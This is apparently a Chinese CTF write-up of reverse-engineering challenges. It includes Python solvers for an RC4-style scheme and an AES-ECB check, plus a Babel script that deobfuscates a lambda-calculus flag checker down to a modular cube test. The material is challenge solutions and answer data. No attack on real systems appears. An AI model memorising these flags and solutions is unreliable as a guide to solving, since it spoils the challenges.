key1 = [0x70 , 0x6f , 0x77 , 0x65 , 0x72 ] key2 = [0x70 , 0x30 , 0x77 , 0x65 , 0x72 ] key3 = [0x70 , 0x30 , 0x77 , 0x33 , 0x72 ] output=[38304 , 8928 , 43673 , 25957 , 67260 , 47152 , 16656 , 62832 , 19480 , 66690 , 40432 , 15072 , 63427 , 28558 , 54606 , 47712 , 18240 , 68187 , 18256 , 63954 , 48384 , 14784 , 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616 ] def ksa (s,key ): ls=[i for i in range (256 )] j=0 for i in range (256 ): j=(j+ls[i]+key[i%len (key)])%256 ls[i],ls[j]=ls[j],ls[i] ll=[] i2,i3=0 ,0 for i in range (len (s)): i2=(i2+1 )%256 i3=(i3+ls[i2])%256 ls[i2],ls[i3]=ls[i3],ls[i2] ll.append((ls[(ls[i2]+ls[i3])%256 ])^s[i]) return ll for i in range (len (output)): output[i]-=2 *key2[i%len (key2)] output[i]//=key3[i%len (key3)] output[i]-=3 *key2[i%len (key2)] key=output[-5 :] flag=output[:36 ] key=ksa(key,flag) flag=ksa(flag,key) print ('flag{' ,end='' )print ('' .join(map (chr ,flag)),end='' )print ('}' )
babyre 在IDA中查看,发现是接受一串数据并对其进行处理,查看后发现第一个函数是标准的AES ECB加密,第二个函数是将顺序和加密后的结果进行拆分存储,最后一个函数则是读取存储的数以及顺序并进行判断。
首先可以根据一下部分推出v5-v15所有可能的值,其中v8v7v6v5是顺序,v15v14v13v12v11v10v9是加密后的数据。
AES ECB解密即可
v5=1 v6=1 v8=0 v9=0 v10=1 v12=0 v13=0 v14=0 v15=1 v16=1 v11=0 v7=0 print (hex (int ((str (v9)+str (v10)+str (v11)+str (v12)+str (v13)+str (v14)+str (v15)+str (v16))[::-1 ],2 )))print (int (str (v8)+str (v7)+str (v6)+str (v5),2 ))ls=[0 ]*16 ls[6 ]=0xb2 ls[10 ]=0x4a ls[15 ]=0x48 ls[14 ]=0xa ls[0 ]=0x12 ls[7 ]=0x4c ls[5 ]=0x4 ls[1 ]=0x8f ls[11 ]=0xcf ls[8 ]=0x5b ls[9 ]=0xba ls[13 ]=0x36 ls[6 ]=0xb2 ls[12 ]=0x11 ls[4 ]=0x85 ls[3 ]=0xc2 ls[2 ]=0xec from Crypto.Cipher import AESkey_le = b'\x35\x77\x40\x2E\xCC\xA4\x4A\x3F\x9A\xB7\x21\x82\xF9\xB0\x1F\x35' cipher = AES.new(key_le, AES.MODE_ECB) hex_string = '\\x12\\x8f\\xec\\xc2\\x85\\x04\\xb2\\x4c\\x5b\\xba\\x4a\\xcf\\x11\\x36\\x0a\\x48' encrypted_data = bytes .fromhex(hex_string.replace('\\x' , '' )) decrypted_data = cipher.decrypt(encrypted_data) print (decrypted_data)
决赛 Reverse ooo Day 1 换成了 JavaScript 的箭头函数,看着舒服一点,还可以用 Babel 。
删去所有 lambda
把所有的 : 替换为 =>
变量名替换
c1=>c2 =>c3 =>c4 =>c5 =>c6 =>c7 =>c8 =>c9 =>c10 =>c11 =>c12 =>c13 =>c14 =>c15 =>c16 => (a1 =>a2 => (b1 =>b2 =>b1 (b2)(c1 =>c2 => c2))((b1 =>b2 => (c1 =>c1 (c2 =>d1 =>d2 => d2)(c2 =>d1 => c2))((c1 =>c2 =>c2 (d1 =>d2 =>d3 =>d1 (d4 =>d5 =>d5 (d4 (d2)))(d4 => d3)(d4 => d4))(c1))(b2)(b1)))(a1)(a2))((b1 =>b2 => (c1 =>c1 (c2 =>d1 =>d2 => d2)(c2 =>d1 => c2))((c1 =>c2 =>c2 (d1 =>d2 =>d3 =>d1 (d4 =>d5 =>d5 (d4 (d2)))(d4 => d3)(d4 => d4))(c1))(b1)(b2)))(a1)(a2)))((a1 => (a2 =>a1 (b1 =>a2 (a2)(b1)))(a2 =>a1 (b1 =>a2 (a2)(b1))))(a1 =>a2 =>b1 =>b2 => (c1 =>c2 =>c1 (d1 =>d2 => d1)(c2))((c1 => (c2 =>c2 (d1 =>d2 => d1))(c1))(b1))((c1 => (c2 =>c2 (d1 =>d2 => d1))(c1))(b2))(c1 =>c2 =>d1 => d1)(c1 => (c2 =>d1 =>c2 (d2 =>d3 =>d4 =>d3 (d2 (d3)(d4)))(d1))(a1 (a2)((c2 => (d1 =>d1 (d2 =>d3 => d3))((d1 =>d1 (d2 =>d3 => d3))(c2)))(b1))((c2 => (d1 =>d1 (d2 =>d3 => d3))((d1 =>d1 (d2 =>d3 => d3))(c2)))(b2)))(a2 ((c2 => (d1 =>d1 (d2 =>d3 => d2))((d1 =>d1 (d2 =>d3 => d3))(c2)))(b1))((c2 => (d1 =>d1 (d2 =>d3 => d2))((d1 =>d1 (d2 =>d3 => d3))(c2)))(b2))))(c1 =>c2 => c2))(a1 =>a2 => (b1 =>b2 =>b1 (b2)(c1 =>c2 => c2))((b1 =>b2 => (c1 =>c1 (c2 =>d1 =>d2 => d2)(c2 =>d1 => c2))((c1 =>c2 =>c2 (d1 =>d2 =>d3 =>d1 (d4 =>d5 =>d5 (d4 (d2)))(d4 => d3)(d4 => d4))(c1))(b1)(b2)))(a1)((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))(b1 =>b2 => b2)))))))))))))))((b1 =>b2 => (c1 =>c2 =>c1 (c2)(d1 =>d2 => d2))((c1 =>c2 => (d1 =>d1 (d2 =>d3 =>d4 => d4)(d2 =>d3 => d2))((d1 =>d2 =>d2 (d3 =>d4 =>d5 =>d3 (e1 =>e2 =>e2 (e1 (d4)))(e1 => d5)(e1 => e1))(d1))(c2)(c1)))(b1)(b2))((c1 =>c2 => (d1 =>d1 (d2 =>d3 =>d4 => d4)(d2 =>d3 => d2))((d1 =>d2 =>d2 (d3 =>d4 =>d5 =>d3 (e1 =>e2 =>e2 (e1 (d4)))(e1 => d5)(e1 => e1))(d1))(c1)(c2)))(b1)(b2)))((b1 => (b2 =>b1 (c1 =>b2 (b2)(c1)))(b2 =>b1 (c1 =>b2 (b2)(c1))))(b1 =>b2 =>c1 =>c2 => (d1 =>d1 (d2 =>d3 =>d4 => d4)(d2 =>d3 => d2))(c1)(d1 =>d2 => d2)(d1 => (d2 => (d3 =>d2 (d4 =>d3 (d3)(d4)))(d3 =>d2 (d4 =>d3 (d3)(d4))))(d2 =>d3 =>d4 => (d5 =>e1 => (e2 =>e2 (e3 =>e4 =>e5 => e5)(e3 =>e4 => e3))((e2 =>e3 =>e3 (e4 =>e5 =>e8 =>e4 (e6 =>e7 =>e7 (e6 (e5)))(e6 => e8)(e6 => e6))(e2))((e2 =>e3 =>e4 =>e3 (e2 (e3)(e4)))(d5))(e1)))(d3)(d4)(d5 => d3)(d5 =>d2 ((e1 =>e2 =>e2 (e3 =>e4 =>e5 =>e3 (e8 =>e6 =>e6 (e8 (e4)))(e8 => e5)(e8 => e8))(e1))(d3)(d4))(d4))(d5 =>e1 => e1))((d2 =>d3 =>d4 =>d2 (d3 (d4)))(b1 (b2)((d2 =>d3 =>d4 =>d2 (d5 =>e1 =>e1 (d5 (d3)))(d5 => d4)(d5 => d5))(c1))(c2))(b2))(c2))(d1 =>d2 => d2))(a1)(b1 =>b2 =>b1 (b1 (b1 (b2))))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))((b1 =>b2 =>c1 =>b1 (b2 (c1)))(b1 =>b2 =>b1 (b1 (b2)))((b1 =>b2 =>c1 =>b2 (b1 (b2)(c1)))(b1 =>b2 => b2)))))))))))))))(a2))(b1 => b1)(b1 =>b2 => b2))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 => (b1 =>b2 =>c1 =>c1 (b1)(b2))(b1 =>b2 => b2)((b1 =>b2 =>c1 =>c1 (b1)(b2))(a2)(a1)))((a1 =>a2 =>b1 =>b1 (a1)(a2))(a1 =>a2 => a1)(a1 =>a2 => a1))(c16))(c15))(c14))(c13))(c12))(c11))(c10))(c9))(c8))(c7))(c6))(c5))(c4))(c3))(c2))(c1))((a1 => (a2 =>a1 (b1 =>a2 (a2)(b1)))(a2 =>a1 (b1 =>a2 (a2)(b1))))(a1 =>a2 =>b1 => (b2 =>c1 => (c2 =>c2 (d1 =>d2 =>d3 => d3)(d1 =>d2 => d1))((c2 =>d1 =>d1 (d2 =>d3 =>d4 =>d2 (d5 =>e1 =>e1 (d5 (d3)))(d5 => d4)(d5 => d5))(c2))(c1)(b2)))(a2)(b1)(b2 => (c1 =>c2 =>d1 =>d1 (c1)(c2))(c1 =>c2 => c1)(c1 =>c2 => c1))(b2 => (c1 =>c2 => (d1 =>d2 =>d3 =>d3 (d1)(d2))(d1 =>d2 => d2)((d1 =>d2 =>d3 =>d3 (d1)(d2))(c2)(c1)))(a1 ((c1 =>c2 =>d1 =>c2 (c1 (c2)(d1)))(a2))(b1))(a2))(b2 =>c1 => b2))(a1 =>a2 =>a1 (a1 (a1 (a2))))((a1 =>a2 =>b1 =>a2 (a1 (a2)(b1)))((a1 =>a2 =>b1 =>a1 (a2 (b1)))(a1 =>a2 =>a1 (a1 (a2)))((a1 =>a2 =>a2 (a1))(a1 =>a2 =>a1 (a1 (a1 (a2))))(a1 =>a2 =>a1 (a1 (a2))))))))((a1 =>a2 =>b1 =>a1 (a2 (b1)))((a1 =>a2 =>b1 =>a2 (a1 (a2)(b1)))(a1 =>a2 =>a1 (a1 (a1 (a2)))))((a1 =>a2 =>b1 =>a2 (a1 (a2)(b1)))(a1 =>a2 =>a1 (a1 (a1 (a2))))))(true )(false )
下方的内容已经过时,可以直接看 Day 2 的自动反混淆部分。
注意到一些反复出现的模式,把它们单独拎出来命名:
Church Number
const f0 = f => x => xconst f1 = f => x => f (x)const f2 = f => x => f (f (x))const f3 = f => x => f (f (f (x)))
乘法运算符:mul(f_i)(f_j) = f_{i*j}
const mul = a => b => f => a (b (f))
+1 运算符:inc(f_i) = f_{i+1}
const inc = f => g => x => g (f (g)(x))
结合上述两个性质,可以先把这个东西化简了(一共出现两次)
(inc)((mul)(f2)((inc)((mul)(f2)((inc)((mul)(f2)((mul)(f2)((mul)(f2)((mul)(f2)((mul)(f2)((inc)((mul)(f2)((inc)(f0))))))))))))) 1 +(2 *(1 +(2 *(1 +(2 *(2 *(2 *(2 *(2 *(1 +(2 *(1 +(0 )))))))))))))
最后得到是 f_{391} 。
幂运算符:pow(f_i)(f_j) = f_{i^j} (只出现一次)
const pow = f => g => g (f)
这个不知道有啥用,先替换一下(补充:还真有用。叫做 CONS)
const xyf = x => y => f => f (x)(y)
true 和 false 的 λ 表达式
const TRUE = x => y => xconst FALSE = x => y => y
Y 组合子
const Y = f => (a => f (b => a (a)(b)))(a => f (b => a (a)(b)))
Day 2 之前大部分工作都是靠人类智慧化简,然而做完了才在 Github 上面找到一个神秘仓库 ,看样子就是用这个仓库做的混淆。于是对照仓库中的函数命名写了自动化脚本。
const { readFileSync } = require ('fs' )const parser = require ('@babel/parser' )const traverse = require ('@babel/traverse' ).default const generate = require ('@babel/generator' ).default const t = require ('@babel/types' )let code = readFileSync ('encrypted.js' , 'utf-8' )const ast = parser.parse (code)const isSameType = (type, node1, node2 ) => t[type](node1) && t[type](node2)function recursive_match (ast, pattern, dict = new Map () ) { if (isSameType ('isArrowFunctionExpression' , pattern, ast)) { return ( ast.params .length === pattern.params .length && ast.params .every ((param, index ) => recursive_match (param, pattern.params [index], dict) ) && recursive_match (ast.body , pattern.body , dict) ) } if (isSameType ('isCallExpression' , pattern, ast)) { return ( recursive_match (ast.callee , pattern.callee , dict) && ast.arguments .length === pattern.arguments .length && ast.arguments .every ((arg, index ) => recursive_match (arg, pattern.arguments [index], dict) ) ) } if (t.isIdentifier (ast)) { if (t.isStringLiteral (pattern)) return pattern.value === ast.name if (t.isIdentifier (pattern)) { if (!dict.has (pattern.name )) { dict.set (pattern.name , ast.name ) return true } return dict.get (pattern.name ) === ast.name } } return false } function replace (ast, expression, replacement ) { const from = parser.parseExpression (expression) const target = parser.parseExpression (replacement) traverse (ast, { [from .type ](path) { if (recursive_match (path.node , from )) path.replaceWith (target) }, }) } replace ( ast, 'f => (x => f(y => x(x)(y)))(x => f(y => x(x)(y)))' , 'Y_Combinator' ) replace (ast, 't => f => t' , 'TRUE' )replace (ast, 't => f => f' , 'FALSE' )replace (ast, 'x => y => x(y)(_)' , 'AND' )replace (ast, 'x => y => x(_)(y)' , 'OR' )replace (ast, 'n => f => x => f(n(f)(x))' , 'SUCC' )replace (ast, 'n => f => x => n(g => h => h(g(f)))(_ => x)(e => e)' , 'PRED' )replace (ast, 'a => b => b("SUCC")(a)' , 'ADD' )replace (ast, 'a => b => b("PRED")(a)' , 'SUB' )replace (ast, 'a => b => f => a(b(f))' , 'MUL' )replace (ast, 'a => b => b(a)' , 'POW' )replace (ast, 'a => a(_ => "FALSE")("TRUE")' , 'ISZERO' )replace (ast, 'a => b => "ISZERO"("SUB"(b)(a))' , 'GTE' )replace (ast, 'a => b => "ISZERO"("SUB"(a)(b))' , 'LTE' )replace (ast, 'a => b => "ISZERO"("SUB"("SUCC"(b))(a))' , 'GT' )replace (ast, 'a => b => "ISZERO"("SUB"("SUCC"(a))(b))' , 'LT' )replace (ast, 'a => b => "AND"("GTE"(a)(b))("LTE"(a)(b))' , 'EQ' )replace (ast, 'f => x => f(f(x))' , 'TWO' )replace (ast, 'f => x => f(f(f(x)))' , 'THREE' )replace ( ast, 'SUCC(MUL(TWO)(SUCC(MUL(TWO)(SUCC(MUL(TWO)(MUL(TWO)(MUL(TWO)(MUL(TWO)(MUL(TWO)(SUCC(MUL(TWO)(SUCC(FALSE)))))))))))))' , 'NUM_391' ) replace (ast, 'a => b => s => s(a)(b)' , 'CONS' )replace (ast, 'p => p("TRUE")' , 'CAR' )replace (ast, 'p => p("FALSE")' , 'CDR' )replace (ast, '"CONS"("TRUE")("TRUE")' , 'LIST' )replace (ast, 'list => "CAR"(list)' , 'EMPTY' )replace (ast, 'list => "CAR"("CDR"(list))' , 'HEAD' )replace (ast, 'list => "CDR"("CDR"(list))' , 'TAIL' )replace (ast, 'list => x => "CONS"("FALSE")("CONS"(x)(list))' , 'PREPEND' )replace ( ast, '"Y_Combinator"(f => a => b => "LT"(a)(b)(_1 => a)(_2 => f("SUB"(a)(b))(b))("FALSE"))' , 'MOD' ) replace ( ast, '"Y_Combinator"(f => list => x => "EMPTY"(list)(_1 => "PREPEND"(list)(x))(_2 => "CONS"("FALSE")("CONS"("HEAD"(list))(f("TAIL"(list))(x))))("TRUE"))' , 'APPEND' ) replace ( ast, '"Y_Combinator"(f => a => b => "GTE"(a)(b)(_1 => "LIST")(_2 => "PREPEND"(f("SUCC"(a))(b))(a))("TRUE"))' , 'RANGE' ) console .log (generate (ast).code )
反混淆后可以得到下面的代码:
EQ ( Y_Combinator ( a1 => a2 => b1 => b2 => OR (EMPTY (b1))(EMPTY (b2))(c1 => FALSE )(c1 => ( c2 => d1 => c2 (SUCC )(d1) )(a1 (a2)(TAIL (b1))(TAIL (b2)))(a2 (HEAD (b1))(HEAD (b2))) )(FALSE ) )( a1 => a2 => AND (LTE (a1)(NUM_391 ))( EQ ( Y_Combinator ( b1 => b2 => c1 => c2 => ISZERO (c1)(FALSE )(d1 => MOD (MUL (b1 (b2)(PRED (c1))(c2))(b2))(c2))( FALSE ) )(a1)(THREE )(NUM_391 ) )(a2) )(b1 => b1)(FALSE ) )( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( LIST )(c16) )(c15) )(c14) )(c13) )(c12) )(c11) )(c10) )(c9) )(c8) )(c7) )(c6) )(c5) )(c4) )(c3) )(c2) )(c1) )(RANGE (THREE )(SUCC (MUL (TWO )(POW (THREE )(TWO ))))) )(MUL (SUCC (THREE ))(SUCC (THREE )))(true )(false )
重新命名一下:
EQ ( Y_Combinator ( f => judge_func => A => B => OR (EMPTY (A))(EMPTY (B))(() => 0 )(() => ( c2 => d1 => c2 (SUCC )(d1) )(f (judge_func)(TAIL (A))(TAIL (B)))(judge_func (HEAD (A))(HEAD (B))) )(0 ) )( input => expect => AND (LTE (input)(391 ))( EQ ( Y_Combinator ( f => n => i => mod => ISZERO (i)(e => _ => _)(() => MOD (MUL (f (n)(PRED (i))(mod))(n))(mod))(0 ) )(input)(3 )(391 ) )(expect) )(_ => _)(0 ) )( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( PREPEND ( LIST )(c16) )(c15) )(c14) )(c13) )(c12) )(c11) )(c10) )(c9) )(c8) )(c7) )(c6) )(c5) )(c4) )(c3) )(c2) )(c1) )(RANGE (3 )(19 )) )(16 )(true )(false )
把 APPEND 改成数组,把 EQ 、 OR 、 AND 等等函数换为对应的运算符:
其中 RANGE(3)(19) = [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18]
注意 ISZERO(i)(e => _ => _)(...)(0) 这里的 e => _ => _ 并不是 FALSE ,因为在最后有一个调用 (0) ,实际上应该变为 i == 0 ? (e => _ => _)(0) : (...)(0) 也就是 _ => _ 。
(Y_Combinator (f => judge_func => A => B => { if (A.empty () || B.empty ()) { return 0 } else { return ( c2 => d1 => c2 (SUCC )(d1) )(f (judge_func)(TAIL (A))(TAIL (B)))(judge_func (HEAD (A))(HEAD (B))) } })(input => expect => { input <= 391 && EQ ( Y_Combinator (f => n => i => mod => { return i == 0 ? (_ => _) : (() => (f (n)(i - 1 )(mod) * n) % mod)(0 ) })(input)(3 )(391 ) )(expect) ? _ => _ : 0 }) ([c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, c14, c15, c16]) ([ 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 , 16 , 17 , 18 ]) ) == 16 ? true : false
注意到第一部分声明了一个循环函数,使用传入的 judge_func 依次检查十六个数是否满足要求,然后返回 _ => _ 或者 0,所以我们只关注中间部分即可:
input => expect => { return ( input <= 391 && Y_Combinator (f => n => i => mod => { return i == 0 ? (_ => _) : (() => (f (n)(i - 1 )(mod) * n) % mod)(0 ) })(input)(3 )(391 ) == expect ) }
发现输入的数字不能超过 391,接着看里面的循环,它的结果需要等于 range(3, 19) 中对应的数字:
f = (n, i, mod ) => { if (i == 0 ) return _ => _ return (() => (f (n, i - 1 , mod) * n) % mod)(0 ) } f (input, 3 , 391 )
里面有个立刻执行函数,拆掉:
f = (n, i, mod ) => { if (i == 0 ) return _ => _ return (f (n, i - 1 , mod) * n) % mod } f (input, 3 , 391 )
mod 从始至终都没变,所以也可以省略:
f = (n, i ) => { if (i == 0 ) return _ => _ return (f (n, i - 1 ) * n) % 391 } f (input, 3 )= f (input, 2 ) * input % 391 = f (input, 1 ) * input * input % 391 = f (input, 0 ) * input * input * input % 391
因为 _ => _ 是一个单位元,此处可以认为是 1 ,于是逻辑分析完毕:
input <= 391 && input ** 3 % 391 == expect
其中第 1 个数字对应 expect = 3 ,第 2 个对应 expect=4 ,以此类推,直接暴力查找逆元即可。
最后找到这十六个数是
[58, 302, 249, 192, 14, 2, 236, 258, 148, 312, 225, 316, 366, 101, 153, 188]
直接输入会发现嵌套层数过多,无法在有限时间内验算出来,只好删掉演算直接输出 flag 。